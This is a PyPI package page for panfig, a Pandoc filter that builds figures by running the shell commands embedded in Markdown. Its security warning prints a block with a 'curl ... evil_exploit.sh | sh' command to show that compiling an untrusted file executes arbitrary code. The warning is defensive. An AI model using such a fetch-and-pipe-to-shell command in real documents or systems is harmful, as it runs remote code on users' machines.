Skip to main content
Pandoc Figure Framework
=======================

This library lets you write self-contained Pandoc/Markdown files containing figures.

Without Panfig, if you want figures, you have to save the image files, and the scripts that generate them, alongside the document. You'd probably even have a Makefile or something to ensure that all the figures were up to date. What a hassle!

With Panfig, the document stands alone. It describes how to generate the images, and they're generated when the document is compiled to HTML (or whatever).

For example, this Markdown code:

Here is a very simple FSM: the "on-off automaton."

~~~~~~~~ {.panfig shell="dot -Tpng -o %s"}
digraph G {
on [style=filled];
on -> off;
off -> on;
}
~~~~~~~~

generates HTML that looks like this:

> Here is a very simple FSM: the "on-off automaton."
>
> ![](on-off.png)



Security: for heaven's sake, be careful.
-------------------------------------

I am putting this up near the top because you should care about it.
**Panfig executes arbitrary code contained in the document being compiled. If you invoked Pandoc (+Panfig) on the following document, it would do arbitrarily bad stuff.**


~~~~~~~~ { .panfig shell="curl http://example.com/evil_exploit.sh | sh"}
~~~~~~~~


How do I use it?
----------------

1. **Install.** First things, of course, first: `pip install panfig`.

2. **Write Markdown.** In your Markdown file, where you want a figure, write a code block that describes how to generate the desired figure. For example:

~~~~~~~~ { .panfig shell="dot -Tpng -o %s" }
digraph G {
on -> off;
off -> on;
}
~~~~~~~~

This uses Pandoc's [fenced code block](http://pandoc.org/README.html#fenced-code-blocks) syntax to give the block the `.panfig` class (to flag it for processing by Panfig), and a `shell` attribute specifying the command that will generate the figure. (It's a `printf`-style format string, so `%s` is replaced by the `sh`-escaped path to the image file that should be created.) The shell command is run, with the contents of the code block passed to the subprocess's standard input. It's that simple!

3. **Compile the document.** Invoke `pandoc` to compile the document as you normally would, but add the option `--filter panfig`. (If the `panfig` executable isn't on your default path -- for example, if you use Virtualenv -- you may need to pass the full path to the `panfig` executable, e.g. `~/.virtualenv/3.4/bin/panfig`.)


### Bells and Whistles

#### Aliases

An alias specifies a set of attributes that Panfig should pretend a block has. For example, instead of writing `shell="dot -Tpng -o %s"` for all your graphs, you could instead define an alias, like so:

~~~~~~~~ { .panfig-aliases }
{"dot": {"shell": "dot -Tpng -o %s"}}
~~~~~~~~

~~~~~~~~ { .panfig alias=dot }
digraph G { on -> off; off -> on; }
~~~~~~~~

This is exactly, 100% identical to

~~~~~~~~ { .panfig shell="dot -Tpng -o %s" }
digraph G { on -> off; off -> on; }
~~~~~~~~

The body of a `.panfig-aliases` block should be a JSON object of the form `{"alias-name": {"attr": "value", ...}, ...}` -- that is, mapping alias names to objects, which in turn specify the attributes you're using the alias as a shorthand for.

Panfig comes with several aliases predefined:

- `dot`: uses `dot` to generate a PNG, e.g.

~~~~~~~~ { .panfig alias=dot }
digraph G { on -> off; off -> on; }
~~~~~~~~

- `mathematica` uses Mathematica to generate a PNG, e.g.

~~~~~~~~ { .panfig alias=mathematica }
Plot[Sin[x], {x, 0, 2 Pi}] (* last result is `Export`ed *)
~~~~~~~~

- `matplotlib` uses Matplotlib to generate a PNG, e.g.

~~~~~~~~ { .panfig alias=matplotlib }
import numpy as np
xs = np.linspace(0, 2*np.pi, 100)
plt.plot(xs, np.sin(xs)) # matplotlib.pyplot is already imported as plt
# plt.savefig() is called at the end to generate the image
~~~~~~~~


#### Text Processing

Often, to avoid code duplication, you'll want to massage the code block's contents in some way. Panfig supports some special attributes that will perform common massaging operations:

- `prologue="..."`: prepends the attribute-value to the block's contents (separated by a newline)
- `epilogue="..."`: appends the attribute-value to the block's contents (separated by a newline)
- `dedent=true`: removes an equal amount of whitespace (as much as possible, given that constraint) from the beginning of each line

This is all stuff that you *could* do just by constructing a fancy pipeline in your `shell` command, but... what a pain.

For example:


~~~~~~~~ { .panfig-aliases }
{"fsm": {"shell": "dot -Tpng -o %s",
"prologue": "digraph G { _start [shape=\"none\", label=\"\"];",
"epilogue": "}"}}
~~~~~~~~

~~~~~~~~ {.panfig alias=fsm}
_start -> off;
on [shape="doublecircle"];
on -> off;
off -> on;
~~~~~~~~


Metadata

Release files for panfig 0.1.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for panfig 0.1.1
File Size Uploaded Provenance
panfig-0.1.1.tar.gz 7.4 kB Without provenance Details

Built distribution (wheel)

Table of built distributions (wheels) for panfig 0.1.1
File Interpreter ABI Platform
panfig-0.1.1-py2.py3-none-any.whl Python 2, Python 3 none any Details

Total release size: 17.8 kB

Release files / panfig-0.1.1.tar.gz

Download URL panfig-0.1.1.tar.gz
Size 7.4 kB
Tags Source
SHA-256 checksum
How to use checksums
3f33192cc45d785f878e6bcf5c89d3dac008000d1ecc1dffd331cc31cdb4ff60
BLAKE2b-256 checksum
How to use checksums
bf531b7e19f1dfaa89713750ad7f3dec3fd51b5e2a26f6f33cec7133eaf88c9d
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No

Release files / panfig-0.1.1-py2.py3-none-any.whl

Download URL panfig-0.1.1-py2.py3-none-any.whl
Size 10.4 kB
Tags Python 2 Python 3
SHA-256 checksum
How to use checksums
dad9f1d95fe39aa5d1f2b487883a3c9757412a8e853d67406d2b634ca38bf0d6
BLAKE2b-256 checksum
How to use checksums
c27ca7e7a46097a37993d9eeb653405833bbd6eb3247a424c5339564c0a58eaa
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No

Security for panfig 0.1.1

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

0.1.1 This release

2 release files No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page